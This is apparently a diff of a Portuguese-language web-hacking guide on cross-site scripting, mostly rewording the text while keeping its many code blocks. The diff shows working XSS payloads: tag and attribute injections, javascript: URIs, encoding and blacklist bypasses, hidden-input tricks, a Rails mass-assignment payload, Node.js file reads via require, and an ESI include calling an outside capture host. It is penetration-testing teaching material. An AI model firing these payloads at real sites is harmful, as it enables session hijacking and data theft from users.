@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Esses tipos de XSS podem ser encontrados **em qualquer lugar**. Eles não dependem apenas da exploração do cliente de uma aplicação web, mas de **qualquer** **contexto**. Esses tipos de **execução arbitrária de JavaScript** podem até ser abusados para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\
|
||||
Esse tipo de XSS pode ser encontrado **em qualquer lugar**. Eles não dependem apenas da exploração do cliente de uma aplicação web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\
|
||||
Alguns **exemplos**:
|
||||
|
||||
{{#ref}}
|
||||
@ -145,15 +145,15 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Bypass de WAF codificando imagem
|
||||
|
||||
.jpg>)
|
||||
.jpg>)
|
||||
|
||||
## Injetando dentro do HTML bruto
|
||||
|
||||
Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se está sendo **codificado em HTML** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
|
||||
Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **codificado em HTML** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
|
||||
Para esses casos, também **lembre-se** de [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Um comentário HTML pode ser fechado usando\*\*\*\*\*\***\***\*`-->`\*\***\***\*ou \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
Neste caso, e se nenhuma lista negra/branca for usada, você poderia usar payloads como:
|
||||
Nesse caso e se nenhuma lista negra/branca for usada, você poderia usar payloads como:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -176,7 +176,7 @@ Se você não encontrou nenhuma tag HTML válida, pode tentar **criar uma tag pe
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Se algum tipo de blacklist estiver sendo usado, você pode tentar contorná-la com alguns truques simples:
|
||||
Se algum tipo de blacklist estiver sendo usada, você pode tentar contorná-la com alguns truques bobos:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -233,7 +233,7 @@ onerror=alert`1`
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Os últimos usam 2 caracteres unicode que se expandem para 5: telsr\
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
Mais desses caracteres podem ser encontrados [aqui](https://www.unicode.org/charts/normalization/).\
|
||||
Para verificar em quais caracteres estão decompostos, verifique [aqui](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
@ -241,16 +241,16 @@ Para verificar em quais caracteres estão decompostos, verifique [aqui](https://
|
||||
|
||||
Se para explorar a vulnerabilidade você precisar que o **usuário clique em um link ou em um formulário** com dados pré-preenchidos, você pode tentar [**abusar do Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
|
||||
|
||||
### Impossível - Marcação Pendurada
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Se você apenas acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Marcação Pendurada**](../dangling-markup-html-scriptless-injection/index.html) porque você poderia **explorar** a vulnerabilidade **sem** executar código **JS**.
|
||||
Se você acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) porque você pode **explorar** a vulnerabilidade **sem** executar código **JS**.
|
||||
|
||||
## Injetando dentro da tag HTML
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Dentro da tag/escapando do valor do atributo
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
Se você está **dentro de uma tag HTML**, a primeira coisa que você poderia tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](#injecting-inside-raw-html) para executar código JS.\
|
||||
Se você **não puder escapar da tag**, você poderia criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
|
||||
Se você está **dentro de uma tag HTML**, a primeira coisa que você pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](#injecting-inside-raw-html) para executar código JS.\
|
||||
Se você **não conseguir escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,7 +267,7 @@ Se você **não puder escapar da tag**, você poderia criar novos atributos dent
|
||||
```
|
||||
### Dentro do atributo
|
||||
|
||||
Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou deletado), dependendo de **qual atributo** seu valor está sendo refletido em **se você controla todo o valor ou apenas uma parte** você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=` você poderá fazer com que ele execute código arbitrário quando for clicado.\
|
||||
Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou deletado), dependendo de **qual atributo** seu valor está sendo refletido em **se você controla todo o valor ou apenas uma parte** você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado.\
|
||||
Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass dentro do evento usando codificação HTML/URL encode**
|
||||
@ -303,7 +303,7 @@ Note que **qualquer tipo de codificação HTML é válido**:
|
||||
```
|
||||
### Protocolos Especiais Dentro do atributo
|
||||
|
||||
Lá você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirão interação do usuário e outros não.
|
||||
Lá você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirã interação do usuário e outros não.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -351,13 +351,13 @@ _**Neste caso, a codificação HTML e o truque de codificação Unicode da seç
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Além disso, há outro **truque legal** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada em URL, ela será decodificada em URL antes de ser executada.** Portanto, se você precisar **escapar** da **string** usando uma **aspa simples** e você perceber que **está sendo codificada em URL**, lembre-se de que **não importa,** ela será **interpretada** como uma **aspa simples** durante o **tempo de execução**.
|
||||
Além disso, há outro **truque legal** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada em URL, ela será decodificada em URL antes de ser executada.** Portanto, se você precisar **escapar** da **string** usando uma **aspa simples** e perceber que **está sendo codificada em URL**, lembre-se de que **não importa,** ela será **interpretada** como uma **aspa simples** durante o tempo de **execução**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Observe que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload**, **não funcionará**, mas você pode **misturá-los dentro do payload**.
|
||||
Observe que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload**, isso **não funcionará**, mas você pode **misturá-los dentro do payload**.
|
||||
|
||||
**Usando codificação Hex e Octal com `javascript:`**
|
||||
|
||||
@ -403,7 +403,7 @@ Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS em "Tags não exploráveis" (input oculto, link, canônico, meta)
|
||||
|
||||
A partir de [**aqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **agora é possível abusar de inputs ocultos com:**
|
||||
De [**aqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **agora é possível abusar de inputs ocultos com:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
A partir de [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de acesso. Aqui está o vetor:
|
||||
De [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de acesso. Aqui está o vetor:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -476,11 +476,11 @@ Se seu código for inserido dentro de `<script> [...] var input = 'dados refleti
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Note que neste exemplo **não fechamos nem mesmo a aspa simples**. Isso ocorre porque **a análise HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise de JavaScript para entender e executar os scripts incorporados é realizada apenas depois.
|
||||
Note que neste exemplo **não fechamos nem mesmo a aspa simples**. Isso ocorre porque **a análise de HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise de JavaScript para entender e executar os scripts incorporados é realizada apenas depois.
|
||||
|
||||
### Dentro do código JS
|
||||
|
||||
Se `<>` estão sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe JS**, porque se houver erros, o código JS não será executado:
|
||||
Se `<>` estão sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, porque se houver erros, o código JS não será executado:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -488,7 +488,7 @@ Se `<>` estão sendo sanitizados, você ainda pode **escapar a string** onde sua
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como template literals, pois permitem **expressões JS embutidas** usando a sintaxe `${ ... }`.\
|
||||
Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como template literals, pois permite **expressões JS embutidas** usando a sintaxe `${ ... }`.\
|
||||
Portanto, se você descobrir que sua entrada está sendo **refletida** dentro de uma string JS que está usando backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**:
|
||||
|
||||
Isso pode ser **abusado** usando:
|
||||
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**Comentários JavaScript (do** [**Comentários JavaScript**](#javascript-comments) **truque)**
|
||||
**Comentários JavaScript (do** [**truque Comentários JavaScript**](#javascript-comments) **)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -753,13 +753,13 @@ Além disso, não se esqueça de que **no final do post mencionado** você pode
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Se você puder acionar um XSS enviando a carga útil dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, poderá abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso, você pode usar o ataque de cookie tossing:
|
||||
Se você puder acionar um XSS enviando a carga útil dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso, você pode usar o ataque de cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
Você pode encontrar um grande abuso dessa técnica em [**este post do blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
Você pode encontrar um grande abuso dessa técnica em [**este post de blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Enviando sua sessão para o admin
|
||||
|
||||
@ -767,7 +767,7 @@ Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS es
|
||||
|
||||
### Espelhamento de Sessão
|
||||
|
||||
Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão.
|
||||
Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que os clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão.
|
||||
|
||||
Você poderia fazer o **administrador acionar seu self XSS** e roubar seus cookies/sessão.
|
||||
|
||||
@ -783,12 +783,12 @@ Você poderia verificar se os **valores refletidos** estão sendo **normalizados
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Devido à **atribuição em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
|
||||
Devido à **atribuição em massa do RoR**, as aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
|
||||
Exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar a carga útil:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
A dupla "Key","Value" será retornada assim:
|
||||
O par "Key","Value" será retornado assim:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
@ -826,14 +826,14 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS com injeção de cabeçalho em uma resposta 302
|
||||
|
||||
Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil.
|
||||
Se você descobrir que pode **injetar cabeçalhos em uma resposta de Redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil.
|
||||
|
||||
Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
|
||||
Protocolos conhecidos no passado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
|
||||
|
||||
### Apenas Letras, Números e Pontos
|
||||
|
||||
Se você conseguir indicar o **callback** que o JavaScript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](#javascript-function) para descobrir como abusar desse comportamento.
|
||||
Se você conseguir indicar o **callback** que o javascript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](#javascript-function) para descobrir como abusar desse comportamento.
|
||||
|
||||
### Tipos de Conteúdo `<script>` Válidos para XSS
|
||||
|
||||
@ -841,7 +841,7 @@ Se você conseguir indicar o **callback** que o JavaScript vai **executar** limi
|
||||
|
||||
> Recusou-se a executar o script de ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque seu tipo MIME (‘application/octet-stream’) não é executável, e a verificação estrita de tipo MIME está habilitada.
|
||||
|
||||
Os únicos **Content-Type**s que permitirão que o Chrome execute um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
Os únicos **Content-Type** que permitirão que o Chrome execute um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -872,7 +872,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
A resposta é:
|
||||
|
||||
- **module** (padrão, nada a explicar)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) juntos em um **`.wbn`** arquivo.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) em um arquivo **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -917,9 +917,9 @@ Esse comportamento foi usado em [**este relatório**](https://github.com/zwade/y
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Web Content-Types to XSS
|
||||
### Tipos de Conteúdo da Web para XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
|
||||
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
@ -932,7 +932,7 @@ Esse comportamento foi usado em [**este relatório**](https://github.com/zwade/y
|
||||
|
||||
Em outros navegadores, outros **`Content-Types`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
### Tipo de Conteúdo xml
|
||||
|
||||
Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário:
|
||||
```xml
|
||||
@ -1002,7 +1002,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**:
|
||||
Portanto, se a partir desse módulo pudermos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1053,7 +1053,6 @@ trigger()
|
||||
|
||||
- **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
@ -1231,9 +1230,9 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## XSS payloads comuns
|
||||
## XSS cargas úteis comuns
|
||||
|
||||
### Vários payloads em 1
|
||||
### Várias cargas úteis em 1
|
||||
|
||||
{{#ref}}
|
||||
steal-info-js.md
|
||||
@ -1389,7 +1388,7 @@ Apenas pesquisando no github, encontrei alguns diferentes:
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- Você também pode usar o metasploit `http_javascript_keylogger`
|
||||
- Você também pode usar metasploit `http_javascript_keylogger`
|
||||
|
||||
### Roubo de tokens CSRF
|
||||
```javascript
|
||||
@ -1432,7 +1431,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Payloads de Blind XSS
|
||||
### Payloads de XSS Cego
|
||||
|
||||
Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
@ -1536,7 +1535,7 @@ xss-in-markdown.md
|
||||
|
||||
### XSS para SSRF
|
||||
|
||||
Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Edge Side Include com este payload:
|
||||
Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Inclusão Lateral com este payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
@ -1546,7 +1545,7 @@ Mais informações sobre esta técnica aqui: [**XSLT**](../xslt-server-side-inje
|
||||
### XSS em PDF criado dinamicamente
|
||||
|
||||
Se uma página da web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
|
||||
Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **XSS no Servidor**.
|
||||
Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
@ -1560,7 +1559,7 @@ pdf-injection.md
|
||||
|
||||
### XSS em Amp4Email
|
||||
|
||||
AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.
|
||||
|
||||
@ -1632,7 +1631,7 @@ Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**
|
||||
other-js-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
## Recursos XSS
|
||||
## Recursos de XSS
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||||
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user